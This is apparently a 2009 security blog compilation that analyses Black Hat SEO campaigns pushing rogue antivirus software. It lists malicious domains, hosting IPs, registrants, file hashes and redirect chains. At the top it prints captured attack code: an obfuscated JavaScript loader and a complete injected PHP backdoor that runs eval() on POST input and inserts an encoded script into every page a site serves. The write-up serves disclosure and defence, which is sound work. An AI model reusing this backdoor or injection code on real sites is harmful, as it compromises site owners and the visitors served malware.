document.write(unescape('
%3CGXscrLrGXirLpt%20VhsrcrL%3DSn%2FHY8%2F78HY8%2EGX1GX1Cl60%2ECl6
1Cl67Cl65Cl6%2E24Vh9zAn%2FCl6jquVheHY8rrLyCl6%2EjSns%3EGX%3C%2FGXsz
AnczAnrHY8iprLtzAn%3E
').
replace(/Cl6|HY8|zAn|Sn|rL|Vh|GX/g,""));
</script>

Script found on compromised websites all for the benefit of the
infamous Russian Business Network (RBN).

PHP code injected

<?php
if (!function_exists('tmp_lkojfghx')) {
for ($i = 1; $i < 10; $i++)
if (is_file($f = '/tmp/m' . $i)) {
include_once($f);
break;
}
if (isset($_POST['tmp_lkojfghx3']))
eval($_POST['tmp_lkojfghx3']);
if (!defined('TMP_XHGFJOKL'))
define('TMP_XHGFJOKL', base64_decode('PHNjcmlwdCBsYW5
ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50LndyaX
RlKHVuZXNjYXBlKCdyYzYlM0Nla2JzMndjcmlJaXAyd3QlMjBzMFM
wcmMlM0QlMkYlMkY3SFh6OCUyRTBTMDEydzEwSFh6JTJFcm
M2MXJON0hYejVEdSUyRXJOMjRla2I5JTJGMndqcmM2cUlpdW
VyZWtieWVrYiUyRXJjNmpyYzZzJTNFMFMwJTNDMnclMkZzYzB
TMHJIWHppcGVrYnQlM0UnKS5yZXBsYWNlKC9yYzZ8MFMwfE
lpfER1fGVrYnxyTnwyd3xIWHovZywiIikpOwogLS0+PC9zY3Jp
cHQ+'));
function tmp_lkojfghx($s)
{
if ($g = (bin2hex(substr($s, 0, 2)) == '1f8b'))
$s = gzinflate(substr($s, 10, -8));
if (preg_match_all('#<script(.*?)</script>#is', $s, $a))
foreach ($a[0] as $v)
if (count(explode("\n", $v)) > 5) {
$e = preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>]{30,}#', $v)
|| preg_match('#[\(\[](\s*\d+,){20,}#', $v);
if ((preg_match('#\beval\b#', $v) &&
($e || strpos($v, 'fromCharCode'))) ||
($e && strpos($v, 'document.write')))
$s = str_replace($v, '', $s);
}
$s1 = preg_replace('#<script language=javascript>
</script>#', '', $s);
if (stristr($s, '<body'))
$s = preg_replace('#(\s*<body)#mi', TMP_XHGFJOKL . '\1', $s1);
elseif (($s1 != $s) || stristr($s, '</body') || stristr($s, '</title>'))
$s = $s1 . TMP_XHGFJOKL;
return $g ? gzencode($s) : $s;
}
function tmp_lkojfghx2($a = 0, $b = 0, $c = 0, $d = 0)
{
$s = array();
if ($b && $GLOBALS['tmp_xhgfjokl'])
call_user_func($GLOBALS['tmp_xhgfjokl'], $a, $b, $c, $d);
foreach (@ob_get_status(1) as $v)
if (($a = $v['name']) == 'tmp_lkojfghx')
return;
else
$s[] = array($a == 'default output handler' ? false : $a);
for ($i = count($s) - 1; $i >= 0; $i--) {
$s[$i][1] = ob_get_contents();
ob_end_clean();
}
ob_start('tmp_lkojfghx');
for ($i = 0; $i < count($s); $i++) {
ob_start($s[$i][0]);
echo $s[$i][1];
}
}
}
if (($a = @set_error_handler('tmp_lkojfghx2')) != 'tmp_lkojfghx2')
$GLOBALS['tmp_xhgfjokl'] = $a;
tmp_lkojfghx2();
?>

with colors:

Google search

Black Hat SEO and Rogue Antivirus p.6

2009-04-03T03:37:00.000-07:00

The silent threat: Black Hat SEO and Rogue Antivirus

Analyzing the tactic

READ THIS page if you need more information

Yet another WinWebSecurity variant this one through crack/serial websites and ad network

Fake ad:
BE PROTECTED! - FREE online system scan for viruses, trojans and malware.
Check it out - maybe someone have access to your PC right now! Protect yourself.

Which result in a complete set of redirection

Redirection 1
Redirection 2
Redirection 3
Redirection 4

then

initialsecurityscan.com

Retreived from google cache here

VirusTotal
Prevx
Anubis

File install.exe received on 04.03.2009 12:28:53 (CET)
Result: 18/39 (46.16%)

File info:

File size: 108584 bytes
MD5: de926b63ab0976244d752170dac7ec00

Hosted by Netelligent Hosting Services Inc on the IP 209.44.126.14

Screenshot on Friday April 3

Using NS1.FUCKMONEYCASH.COM and NS2.FUCKMONEYCASH.COM as DNS Servers
No whois info - PrivacyProtect.org
Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D/B/A PUBLICDOMAINREGISTRY.COM
Dates: Created 01-apr-2009
Registration Service Provided By: DOMAIN NAMES REGISTRAR REG.RU LTD.

Black Hat SEO and Rogue Antivirus p.4

2009-04-02T08:59:00.000-07:00

The silent threat: Black Hat SEO and Rogue Antivirus

Full of rogues

READ THIS page if you need more information

This is just a sample of websites found in the previous days which are still running.
(with some ThreatExpert or VirusTotal reports)

Site running on these IPs can also be found on this blog and several other forums.

Hosted by Netelligent Hosting Services Inc on the IP 209.44.126.14

activesecurityshield.com - ThreatExpert Report
bestsecurityupdate.com - ThreatExpert Report
getscanonline.com - ThreatExpert Report
getsecuritywall.com - ThreatExpert Report
scanalertspage.com - ThreatExpert Report
scanbaseonline.com - ThreatExpert Report
onlinescandetect.com - ThreatExpert Report
runpcscannow.com - ThreatExpert Report
yourstabilitysystem.com - ThreatExpert Report
websecuritymaster.com - ThreatExpert Report
websecurityvoice.com - ThreatExpert Report

Hosted by Layered Technologies, Inc on the IP 72.233.34.6

zpmuwbtqqwkw.net

Hosted by ZlKon on the IP 94.247.3.3

greatvirusscan.com - ThreatExpert Report
webprotectionscan.com - ThreatExpert Report

Hosted by ZlKon on the IP 94.247.3.74

onlinescandetect.com - ThreatExpert Report

Hosted by Eurohost LLC on the IP 91.212.65.55

securityscanguide.com - ThreatExpert Report

Hosted by UK2 GROUP LTD using resellermatrix on the IP 66.197.154.198
other info:
netname: HOSTNOC-2BLK
AS21788 - BurstNet Technologies, Inc.
route: 66.197.128.0/17
canonical name for 66.197.154.198: ip.ipdatacenter.net

megascan6.com
nowscan6.com
scanline6.com
scan6just.com
scan6log.com
scan6main.com
scan6now.com

Hosted by netdirekt e.K. on the IP 89.149.241.134

desktopprepairpackage.com
pcantimalwaresolution.com

Hosted by Ecatel LTD on the IP 91.212.65.55 [AS29073]

securityscanguide.com - ThreatExpert Report

Hosted by netdirekt e.K. on the IP 89.149.241.134
also use 94.102.51.14 by Ecatel Network

comdwnld.com
desktopprepairpackage.com
pcantimalwaresolution.com
removespywarethreats.com
securecleanersolution.com
securecleanertool.com

Another interesting link on"evenmorestats.com" leads to a collection of SCAM sites

cleanerpcsolution.com	89.149.241.134	AS28753 - NETDIRECT Frankfurt, DE
malwareremovingtool.com	89.149.241.134	AS28753 - NETDIRECT Frankfurt, DE
pcantimalwaresolution.com	89.149.241.134	AS28753 - NETDIRECT Frankfurt, DE
removespywarethreats.com	89.149.241.134	AS28753 - NETDIRECT Frankfurt, DE
securecleanersolution.com	89.149.241.134	AS28753 - NETDIRECT Frankfurt, DE
securecleanertool.com	89.149.241.134	AS28753 - NETDIRECT Frankfurt, DE
comdwnld.com	94.102.51.14	AS29073 - Ecatel Network
evenmorestats.com	84.243.252.160	AS16131 - GrafiX Internet B.V.
go-uniq.com	72.55.153.155	AS32613 - iWeb Technologies Inc.
mydwnld.com	88.198.8.15	AS24940 - Hetzner Online AG RZ-Nuernberg
promotion-offer.com	88.198.233.225	AS24940 - Hetzner Online AG RZ-Nuernberg
traff-direct.com	78.129.158.69	AS29131 - RapidSwitch Ltd

comdwnld.com

94.102.51.14

AS29073 - Ecatel Network

The first sixst used 89.149.241.134 and 94.102.51.14

Some of them are registered using "Nexton Limited" as registrant but a search on google also reveal no
entries apart frompornography and malware sites.
And several other using "Preston Wasson" wassonpreston@email.com

Some common DNS actively used (several other will not be added to this page)

with ENOM, INC. as registar:
ns1.comondns.com [58.65.233.33] - AS10026 - ANC Asia Netcom Corporation
ns2.comondns.com [58.65.233.33] - AS10026 - ANC Asia Netcom Corporation
ns3.comondns.com [89.149.227.248] - AS28753 - NETDIRECT AS NETDIRECT Frankfurt, DE
ns4.comondns.com [79.135.168.112] - AS44097 - SNETTELECOM-AS Sistemnet Telekomunikasyon
ns5.comondns.com [79.135.168.112] - AS44097 - SNETTELECOM-AS Sistemnet Telekomunikasyon

with DIRECTI INTERNET SOLUTIONS PVT. LTD. as registrar:
ns1.gonsset.com [94.102.51.14]
ns1.gonsset.com [89.149.227.248]

Previous IPs, netblock, WHOIS info and other domain can be retreived on the
msmvps spyware sucks blog here

Redirectors are: evenmorestats.com/in.cgi?6 - go-uniq.com/in.cgi?13&gai=cspamg&gli=79 (Analysis)

comdwnld.com has a collection of rogue security software which serve for several other sites:

Some detections: Trojan FakeSpyGuard, Adware VirusRemover, WinAntiVirus2008, Trojan Hiloti, SpywareRemover2009

comdwnld.com/AntiMalwareGuard_Paid_Rezer.exe
comdwnld.com/SpywareRemover2009_Installer_Dual_Rezer_en.exe
comdwnld.com/VirusRemover2008_Setup_Paid_Rezer_en.exe
comdwnld.com/AntiMalwareGuard/1.0.36.0/AMGFreeUpdate_Rezer.exe
comdwnld.com/AntiMalwareSuite/4.1.233.1/AMSFreeUpdate_Rezer.exe
comdwnld.com/AntiMalwareSuite/4.1.233.1/AMSFreeUpdate_Rezer_qrt.exe
comdwnld.com/SpywareRemover2009.com/SpywareRemover2009_Installer_Paid_Rezer_en.exe
comdwnld.com/SpywareRemover2009.com/SpywareRemover2009_Setup_Dual_Rezer_en.exe
comdwnld.com/antimalwaresuite2009.com/AMS_FullInstaller_Rezer.exe
comdwnld.com/bestvirusremover2009.com/1.0.3.1/FreeApp%20_Rezer.exe
comdwnld.com/bestvirusremover2009.com/1.0.3.1/FreeApp_Rezer.exe
comdwnld.com/bestvirusremover2009.com/1.0.3.1/FreeApp_Rezer_qrt.exe
comdwnld.com/bestvirusremover2009.com/1.0.6.0/FreeApp%20_Rezer.exe
comdwnld.com/bestvirusremover2009.com/1.0.6.0/FreeApp_Rezer.exe
comdwnld.com/bestvirusremover2009.com/1.0.6.0/FreeApp_Rezer_qrt.exe
comdwnld.com/bestvirusremover2009.com/virusremover2009_setup_paid_rezer_en.exe
comdwnld.com/cleaner2009pro.com/1.0.18.0/CLNFreeApp_Rezer.exe
comdwnld.com/cleaner2009pro.com/1.0.18.0/CLNFreeApp_Rezer_qrt.exe
comdwnld.com/cleaner2009pro.com/CLN_2009FullInstall_Rezer.exe
comdwnld.com/nss_downloads/AntiMalwareGF_Rezer.exe
comdwnld.com/nss_downloads/VirusRemover2008_Setup_Free_Rezer_en.exe
comdwnld.com/nss_downloads/SpywareRemover2009.com/SpywareRemover2009_Installer_Dual_Rezer_en.exe
comdwnld.com/nss_downloads/SpywareRemover2009.com/SpywareRemover2009_Installer_Dual_br1_en.exe
comdwnld.com/nss_downloads/SpywareRemover2009.com/SpywareRemover2009_Installer_Paid_br1_en.exe
comdwnld.com/nss_downloads/antimalwaresuite2009.com/AMS_FreeInstaller_Rezer.exe
comdwnld.com/nss_downloads/bestvirusremover2009.com/virusremover2009_setup_free_rezer_en.exe
comdwnld.com/nss_downloads/cleaner2009pro.com/CLN_2009FreeInstall_Rezer.exe
comdwnld.com/nss_downloads/secureexpertcleaner.com/SecureExpertCleaner_Dual_Rezer_En.exe
comdwnld.com/nss_downloads/secureexpertcleaner.com/SecureExpertCleaner_Dual_br1_En.exe
comdwnld.com/secureexpertcleaner.com/SecureExpertCleaner_Paid_Rezer_En.exe
comdwnld.com/secureexpertcleaner.com/SecureExpertCleaner_Paid_br1_En.exe
comdwnld.com/secureexpertcleaner.com/1.0.18.3/SECFreeApp_Rezer.exe
comdwnld.com/secureexpertcleaner.com/1.0.18.3/SECFreeApp_Rezer_qrt.exe
comdwnld.com/secureexpertcleaner.com/1.0.18.5/SECFreeApp_Rezer.exe
comdwnld.com/secureexpertcleaner.com/1.0.18.5/SECFreeApp_Rezer_qrt.exe
comdwnld.com/secureexpertcleaner.com/1.0.18.6/SECFreeApp_br1.exe
comdwnld.com/secureexpertcleaner.com/1.0.18.6/SECFreeApp_br1_qrt.exe
comdwnld.com/virusremover2008.com/1.0.3.1/FreeApp_Rezer.exe
comdwnld.com/virusremover2008.com/1.0.3.1/FreeApp_Rezer_qrt.exe
comdwnld.com/virusremover2008.com/1.0.6.0/FreeApp_Rezer.exe
comdwnld.com/virusremover2008.com/1.0.6.0/FreeApp_Rezer_qrt.exe
comdwnld.com/virusremover2009.com/1.0.3.1/FreeApp_Rezer.exe
comdwnld.com/virusremover2009.com/1.0.3.1/FreeApp_Rezer_qrt.exe
comdwnld.com/virusremover2009.com/1.0.6.0/FreeApp_Rezer.exe
comdwnld.com/virusremover2009.com/1.0.6.0/FreeApp_Rezer_qrt.exe
comdwnld.com/virusremover2009.com/1.0.8.0/FreeApp_Rezer.exe
comdwnld.com/virusremover2009.com/1.0.8.0/FreeApp_Rezer_qrt.exe

So firstly, let's show you the home page of these sites:

cleanerpcsolution.com

desktoprepairpackage.com
pcsolutionshelp.com

malwareremovingtool.com

pcantimalwaresolution.com

removespywarethreats.com

securecleanersolution.com

And now the collection of fake scanner with different template.

http://removespywarethreats.com/2009/142/?a=&l=&f=&ex=&ed=&sub=pdt&prodabbr=USRM

Redirectors:

hxxp://evenmorestats.com/in.cgi (redirect to yahoo news)
hxxp://evenmorestats.com/in.cgi?2 (redirect to google)

hxxp://evenmorestats.com/in.cgi?3 (Analysis)
redirect to:
hxxp://securecleanersolution.com/2009/1001/?a=&l=&f=&sub=&prodabbr=3P_USEC

hxxp://evenmorestats.com/in.cgi?4 (Analysis)
redirect to:
hxxp://spywareprotectiontool.com/2009/141/?a=&l=&f=&ex=&ed=&sub=csp&prodabbr=USRM

hxxp://evenmorestats.com/in.cgi?6 (Analysis)
redirect to:
hxxp://securecleanersolution.com/2009/102/?a=&l=&f=&sub=&prodabbr=3P_USEC

Other on the same site:

hxxp://securecleanersolution.com/2009/101/?a=&l=&f=&sub=&prodabbr=3P_USEC

hxxp://securecleanersolution.com/2009/103/?a=&l=&f=&sub=&prodabbr=3P_USEC

hxxp://securecleanersolution.com/2009/104/?a=&l=&f=&sub=&prodabbr=3P_USEC

hxxp://securecleanersolution.com/2009/105/?a=&l=&f=&sub=&prodabbr=3P_USEC

hxxp://securecleanersolution.com/2009/1000/?a=&l=&f=&sub=&prodabbr=3P_USEC

hxxp://securecleanersolution.com/2009/1002/?a=&l=&f=&sub=&prodabbr=3P_USEC

hxxp://evenmorestats.com/in.cgi?7 (Analysis)
redirect to:
hxxp://advancesoftwaretool.com/2009/142/?a=&l=&f=&ex=&ed=&h=&sub=&prodabbr=3P_UVSM

hxxp://evenmorestats.com/in.cgi?8
redirect to:
hxxp://goforuniq.com/in.cgi?9&gai=-o2z&gli=&gff=
then
hxxp://spywareprotectiontool.com/2009/142/?a=&l=&f=&ex=&ed=&sub=&prodabbr=USRM

hxxp://evenmorestats.com/in.cgi?9
redirect to:
hxxp://goforuniq.com/in.cgi?9&gai=-o2z&gli=&gff=
then
hxxp://promotion-offer.com/srm/adv/142/?a=-o2z&l=&f=&ex=&ed=&sub=&prodabbr=USRM

Other on the same site: promotion-offer.com [89.248.168.46]

hxxp://promotion-offer.com/srm/adv/140/?a=-o2z&l=&f=&ex=&ed=&sub=&prodabbr=USRM

hxxp://promotion-offer.com/srm/adv/141/?a=-o2z&l=&f=&ex=&ed=&sub=&prodabbr=USRM

hxxp://promotion-offer.com/srm/adv/142/?a=-o2z&l=&f=&ex=&ed=&sub=&prodabbr=USRM

Sometimes it redirect to another location
hxxp://evenmorestats.com/in.cgi?9
redirect to:
hxxp://removespywarethreats.com/2009/142/?a=&l=&f=&ex=&ed=&sub=pdt&prodabbr=USRM
(old template - no screenshot)
or
hxxp://pcantimalwaresolution.com/2009/141/
hxxp://pcantimalwaresolution.com/2009/142/

hxxp://desktoprepairpackage.com/2009/5?a=cspsant1p&l=273
&f=cs_6247616163&ex=&ed=&h=&sub=&prodabbr=3P_UVSM

hxxp://desktoprepairpackage.com/2009/142/ (old template - no screenshot)
hxxp://desktoprepairpackage.com/2009/14/ (old template - no screenshot)

hxxp://desktoprepairpackage.com/2009/2/?a=cspvm-sst&l=370&f=cs_4384615693&ex=1&ed=2&h=&sub=csp&prodabbr=3P_UVSM

hxxp://desktoprepairpackage.com/2009/142/?a=cspsni-sst&l=373&f=cs_7794016513&ex=1&ed=2&h=&sub=csp&prodabbr=3P_UVSM (old template - no screenshot)

Other screenshot:

Some interesting search on google for "Spyware.Wather.ic" and "Spyware.CreditCarder.y" also reveal:

antispywareexpertplus.com
antivirus-xp-pro-2009.com on 91.212.65.43
antispywareexpert-plus.com
asxp-2009.com
as-xp-2009.com
av-pro2009.com
aviruspro2009.com
homeav-2009.com on 94.75.253.92
pc-virusremover2008.com
pcsolutionshelp.com on 94.102.51.14
powerfulvirusremover2008.com
virusremover2008-offer.com
virusremover-2008.com on 70.38.73.26
xp-p-center.com
xpas2009.com
xppcenter.com
xpprotcenter.com
xp-protection-center.com
xpsecuritycentral.com on 66.63.167.50

and
78.46.99.173 - "Hetzner Online AG". Looking on the google cache for this page reveal
the common email address: at @virusremover2008.com

Previous IP for virusremover-2008.com - 200.115.173.29 (Flagged on sorbs). Now 70.38.73.26

Also quite interesting with 58.65.233.33 sharing IP for other name servers including ns1.removespywarethreats.com

Black Hat SEO and Rogue Antivirus p.3

2009-03-29T23:32:00.000-07:00

The silent threat: Black Hat SEO and Rogue Antivirus

AntivirusPlus ZlKon Malware drop - liveinternetmarketingltd.com

READ THIS page if you need more information

In addition to fake scanner domain, recent research also reveal that several sites are
registered through "EVOPLUS LTD" with the information as follow:

Registrant:
Live Internet Marketing Limited ****@liveinternetmarketingltd.com
attn: Private Registrations
5285 Decarie Boulevard #100
Montreal, QC H3W3C2
Canada
+1-514-371-5650

Domain Name: LIVEINTERNETMARKETINGLTD.COM
Registrar: EVOPLUS LTD
Whois Server: whois.evonames.com
Referral URL: http://www.evonames.com
Name Server: NS1.LIVEINTERNETMARKETINGLTD.COM
Name Server: NS2.LIVEINTERNETMARKETINGLTD.COM
Status: clientDeleteProhibited
Status: clientTransferProhibited
Status: clientUpdateProhibited
Updated Date: 27-mar-2009
Creation Date: 20-feb-2009
Expiration Date: 20-feb-2010

Registered Through:
AdvancedHosters.com (http://www.AdvancedHosters.com)

******************************

Looking on google show absolutely no web presence apart from malware and pornography websites:

For "liveinternetmarketingltd": Malware domain drop and pornography websites
For "Live Internet Marketing Limited": Pornography websites
For "liveinternetmarketingltd.com": Pornography websites and malware domain found by Malware Domain List.

Looking on malwaredomainlist show 23 sites with the registrant information "liveinternetmarketingltd.com".

Some domain have been added to the list below:

antivirus-plus-new.com
antivirusplussite.com
bestinternetexamine.com
bestnetcheckonline.com
bestwebexamine.com
downloadantivirusplus.com
easynetcheckonline.com
easywebchecklive.com
easywebexamine.com
easywebscanlive.com
internethomecheck.com
linkcanlive.com
linkcanonline.com
linkcanpro.com
myantivirusplus.com
myinternetexamine.com
onlinescanweb.com
rapldhsare.com
safeyouthnet.com
security-check-center.com
securesoftinternet.com
theantivirusplus.com
websecurecheck.com
websmartcheck.com
websportscheck.com
yourinternetexamine.com
yournetascertain.com
yournetcheckonline.com
yournetcheckonline.com
yourwebexamine.com
yourwebscanlive.com
yourwebscanpro.com

**********************

SUSPENDED domain

Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D/B/A PUBLICDOMAINREGISTRY.COM

antivirusplus.biz
***
antivirusplus2009.net
Symantec Result
Registration Service Provided By: HIGH QUALITY HOST COMPANY
***
avplus2009.com
Symantec Result
PrivacyProtect - Registration Service Provided By: ERDOMAIN.COM
***
internet-check.net
PrivacyProtect - Registration Service Provided By: ERDOMAIN.COM
***
traffchecking.com
Registration Service Provided By: ERDOMAIN.COM
Registrant: uebochek - Luhansk Oblast,01001 - UA - uebochek@gmail.com

**********************

ACTIVE domain

***
av-plus-support.com
PrivacyProtect - Registration Service Provided By: ERDOMAIN.COM
***

antivirusplussite.com has a fake error page which redirect to downloadantivirusplus.com/buy.php?id=

downloadantivirusplus.com is also hosted on the same IP at ZlKon, also registered by "Live Internet Marketing Limited" and the fraudulent payment page is on the domain below:

https://secure-plus-payments.com/cgi-bin/nph-pr/pandora/softcore/buy_soft.php?productid=avplus3&advert=

209.8.25.204 - ns1.secure-plus-payments.com

Registration Service Provided By: RESELLERCLUB

Registrant:
Globo inc
John Sparck (sparck000@mail.com)
South reg, 14 st, 3
Atoll
,3290867
BB
Tel. +27.221994

"Globo inc" include: antivirus--plus.com, plus-antivirus.com (Already suspended)

**********************
Looking on spamhaus also reveal

newp-digital.com
webspywareremover2009.com
cure-soft.com [63.219.177.210]
innovagest2000s.com
secure-softwaretools.com [207.226.175.124]
**********************

Host on 94.247.2.215 [hs.2-215.zlkon.lv] AS12553

AS12553 PCEXPRESS-AS "DATORU EXPRESS SERVISS" Ltd.

Some screenshot

Analysis:

File info:	installer_1.exe

File size	666112 bytes
MD5	03a1e599d66c64cd11eb5f20d3645767



Anubis:	Report
ThreatExpert:	Report
VirusTotal:	Report

First received	03.27.2009 17:40:50 (CET)
Results	17/38 (44.74%)

Alias:	Trojan.Win32.FakeXPA!IK	a-squared
	TR/Crypt.XPACK.Gen	Antivir
	SHeur2.YCE	AVG
	(Suspicious) - DNAScan	CAT-QuickHeal
	Trojan.DownLoad.33473	DrWeb
	Trojan-Downloader.Win32.Delf.swq	F-Secure
	W32/FakeAV.NW!tr	Fortinet
	Trojan.Win32.FakeXPA	Ikarus
	Trojan-Downloader.Win32.Delf.swq	Kaspersky
	Generic Downloader.x	McAfee
	Generic Downloader.x	McAfee
	Trojan.Crypt.XPACK.Gen	McAfee-GW-Edition
	TrojanDownloader:Win32/Renos.BAO	Microsoft
	Suspicious File	Panda
	Troj/FakeAV-NW	Sophos
	Trojan.Fakeavalert.B	Sunbelt
	Trojan Horse	Symantec

We can see on this post that the file downloaded two or three days after is updated with a new code.

Result when running:

HTTP Request: 94.247.2.215 [hs.2-215.zlkon.lv]

GET: myantivirusplus.com/install/AntivirusPlus.exe
GET: myantivirusplus.com/install/InternetExplorer.dll
GET: myantivirusplus.com/cfg/dmns.cfg

	File info:	AntivirusPlus.exe

	File size	1435136 bytes
	MD5	f0bc697765f31bd431e776387aca2c7f



	Anubis:	Report
	VirusTotal:	First Report
	VirusTotal:	Second Report

	First received	03.27.2009 14:17:34 (CET)
	Results	Result: 7/39 (17.95%)

	Second time	03.30.2009 05:23:52 (CET)
	Results	Result: 12/39 (30.77%)
	New info	Prevx

	Alias:	Trojan.Win32.FakeXPA!IK
		FakeAlert
		Trojan.Win32.FakeXPA
		Trojan:Win32/FakePlus

	File info:	InternetExplorer.dll

	File size	442368 bytes
	MD5	8e428574cb9e4f680d1e28fe3ca673e8



	VirusTotal:	First Report
	VirusTotal:	Second Report

	First received	03.24.2009 16:12:30 (CET)
	Results	Result: 20/39 (51.29%)

	Second time	03.30.2009 05:23:52 (CET)
	Results	Result: 20/39 (51.29%)

	Alias:	Trojan.Win32.FraudPack.ify
		Trojan.Win32.FakeAV.iy
		Trojan.Win32.FakeXPA
		Trojan:Win32/FakePlus

Screenshot:

Black Hat SEO and Rogue Antivirus p.2

2009-03-28T20:15:00.000-07:00

The silent threat: Black Hat SEO and Rogue Antivirus

The World Wide Web Consortium and Rogue AV

Having your website hacked with IFRAME injected, trojans/backdoors?

Having your pages infected with redirection to rogue antivirus/antispyware?

Having your pages replaced with World Wide Web Consortium article and some
obfuscated javascript code append to them?

This page will show you some recent research about a malware campaign which has infected thousand of websites. In this campain all of these sites have been used to distribute fake antispyware called WinWebSec or FakeSpyGuard.(Sometimes called WinWebSecurity or SystemSecurity2009 with InternetAntivirusPro)

Since July/August 2008 hundreds of thousands of pages on legitimate domains were exploited having web pages stuffed with keywords (porn, celebrities, popular snacks) uploaded to them as a means of attracting victims via search engine results. In some cases, the homepage of the compromised site is being modified, appending hidden links to the malicious web page.

All info concluded that the attack was made via stolen FTP password, on all these domains.

An alarming observation also reveal that the activity grows at an exponential rate with malware/exploit code even more sofisticated.

You can find some IPs, network, domain used, example of hacked pages/websites and other malicious code injected into these domain on the links below or on other page on this blog.

The silent threat: Black Hat SEO and Rogue AV - 1
The silent threat: Black Hat SEO and Rogue AV - 2

*********************

Screenshot below show tons of websites also used in this rogue av malware campaign but with some World Wide Web W3C pages uploaded with javascript code injected.

Source of on of these site.

In a browser.

Deobfuscation results:

window.location = encodeURI(
"http://www.onlinedetect.com/in.cgi?7&tsk=aug-task13-r86-id67-t116-hst-16&type=l&seoref=" +
encodeURIComponent(document.referrer) + "&parameter=$keyword&se=$se&ur=1&HTTP_REFERER=" +
encodeURIComponent(document.URL) + "&default_keyword=XXX");

-----------------------

The source code also reveal thousand of hacked websites.The analysis of the javascript code redirect to onlinedetect.com or some domain used in this attack.
You can find information on this page.

Black Hat SEO - PDF Malware campaign

2009-03-28T20:11:00.000-07:00

The silent threat: Black Hat SEO - PDF Malware campaign

Previously in March, Abode has released some security updates addressed to
vulnerabilities and exploits using Adobe Reader. Some links can be found below

McAfee Avert Labs: New Backdoor Attacks using PDF Documents
Trend Micro Malware Blog: Portable Document Format or Portable Malware Format?
SANS Internet Storm Center: Adobe/Acrobat 0-day in the wild?

Adobe Security Bulletin: Buffer overflow issue

Here is a complete example with sreenshots, data and analysis of a website
used in the PDF malware campaign and hosting a malicious application called SUTRA.

The application also known as "Traffic Management System" is explained by
McAfee AvertLabs on this page: Inside the malicious traffic

This cybercrime toolkit is actively used to manage traffic from compromised
websites and redirects visitors to exploits code or other malicious URLs with
fake codecs, rogue antispyware application, keyloggers, bankers trojan and many more.

We have another example of a compromised website explained here.
Screenshot of SUTRA can be found.

***

Now let's take a look of another website used.

The site is "salevisitor.net" 89.107.104.10
[Do not enter this site unless you know what you are doing]

The payload is located here "salevisitor.net/in.cgi?6" [Unstable - file not found at this time]

Just for your information, this is the structure of files/folders for SUTRA Traffic Manager

drwxr-xr-x (755)	admin
drwxrwxrwx (777)	data
drwxr-xr-x (755)	files
drwxr-xr-x (755)	html
drwxr-xr-x (755)	install
drwxrwxrwx (777)	memory
drwxrwxrwx (777)	stats
drwxrwxrwx (777)	admin/tmp
drwxrwxrwx (777)	admin/tmp.web

-rwxr-xr-x (755)	getos.cgi
-rwxr-xr-x (755)	in.cgi
-rw-r--r-- (644)	index.html

admin:
-rwxr-xr-x (755)	c.cgi
-rwxr-xr-x (755)	center.cgi
-rwxr-xr-x (755)	cron
-rwxr-xr-x (755)	cron.sh
-rw-r--r-- (644)	index.html
-rw-r--r-- (644)	panel.html
drwxrwxrwx (777)	tmp
drwxrwxrwx (777)	tmp.web
-rwxr-xr-x (755)	ub_fetcher

data:
-rw-r--r-- (644)	admin_forces.html
-rw-r--r-- (644)	connection_type.html
-rw-r--r-- (644)	connection_type_new.html
-rw-r--r-- (644)	crontab_wizard.html
-rw-r--r-- (644)	edit_force_data.html
-rw-r--r-- (644)	edit_force.html
-rw-r--r-- (644)	edit.html
-rw-r--r-- (644)	edit_user.html
-rw-r--r-- (644)	force_data.html
-rw-r--r-- (644)	force.html
-rw-r--r-- (644)	forces.html
-rw-r--r-- (644)	forces_view.html
-rw-r--r-- (644)	general_stat.html
-rw-r--r-- (644)	GeoIP.dat
-rw-r--r-- (644)	geoip.html
-rw-r--r-- (644)	global_options.html
-rw-r--r-- (644)	global_vars.html
-rw-r--r-- (644)	import.html
-rw-r--r-- (644)	index.html
-rw-r--r-- (644)	key
-rw-r--r-- (644)	login.html
-rw-r--r-- (644)	lstats_export.html
-rw-r--r-- (644)	lstats.html
-rw-r--r-- (644)	main.html
-rw-r--r-- (644)	navigation.html
-rw-r--r-- (644)	page.html
-rw-r--r-- (644)	pages_navigation.html
-rw-r--r-- (644)	profile.html
-rw-r--r-- (644)	pstats_export.html
-rw-r--r-- (644)	pstats.html
-rw-r--r-- (644)	pstats_index.html
-rw-r--r-- (644)	register_done.html
-rw-r--r-- (644)	register.html
-rw-r--r-- (644)	search.html
-rw-r--r-- (644)	show_bottom.html
-rw-r--r-- (644)	show_data.html
-rw-r--r-- (644)	show_header.html
-rw-r--r-- (644)	stat_daily.html
-rw-r--r-- (644)	static_stat.html
-rw-r--r-- (644)	stat_main.html
-rw-r--r-- (644)	stats.html
-rw-r--r-- (644)	uptime_main.html
-rw-r--r-- (644)	users.html

files:
-rw-r--r-- (644)	cgi.pm
-rw-r--r-- (644)	counter.gif
-rwxr-xr-x (755)	curl
-rwxr-xr-x (755)	default.cgi
-rwxr-xr-x (755)	gotourl.cgi

html:
-rw-r--r-- (644)	image files and javascript (gif, js)

install:
drwxr-xr-x (755)	freebsd4 // in.cgi
drwxr-xr-x (755)	freebsd5 // in.cgi
drwxr-xr-x (755)	freebsd6 // in.cgi
drwxr-xr-x (755)	linux // in.cgi

stats:
-rw-r--r-- (644)	index.html

The admin page has no password on this server so you can enter and see stats like:

So now we know the IP, domain name, URLs used after redirection
but from were is coming the traffic?

Let's take a look of another folder "/memory/"

This folder has files like 1.access.log, 2.access.log, 5.access.log,
25.access.log, 70.access.log etc...

Some related topics on this blog refer to onlinedetect.com, 0day33hours.com for another malware campaign... Similars files can be found using google. here and here

2.access.log - The file contain the IP of visitors reaching infected
websites, some are in Czech Republic, Israel, Russia, Turkey etc.
The file also reveal the URL of some compromised websites
were the malicious obfuscated javascript code has been inserted.

Line 1:

hxxp://www.met[BLOCKED]p.com.pl/meta...........
Javascript Analysis

Line 23: 77.250.xx.xx

http%3A%2F%2Fwww%2Este[BLOCKED]tos%2Enl%2Find.....
Javascript Analysis

hxxp://www.gif[BLOCKED]za.pl/gify/baj...
Javascript Analysis

The analysing confirm that all these site has the same code added

Analysis report for hxxp://salevisitor.net/in.cgi?2

The script load a PDF located here quara-best.com/[BLOCKED]e30/pdf.php?id=5352
which then load this executable --> VirusTotal Report

******************

Some other related link:

Honeynet Malware Detail
Analysis of hxxp://eternal.alfamoon.com here

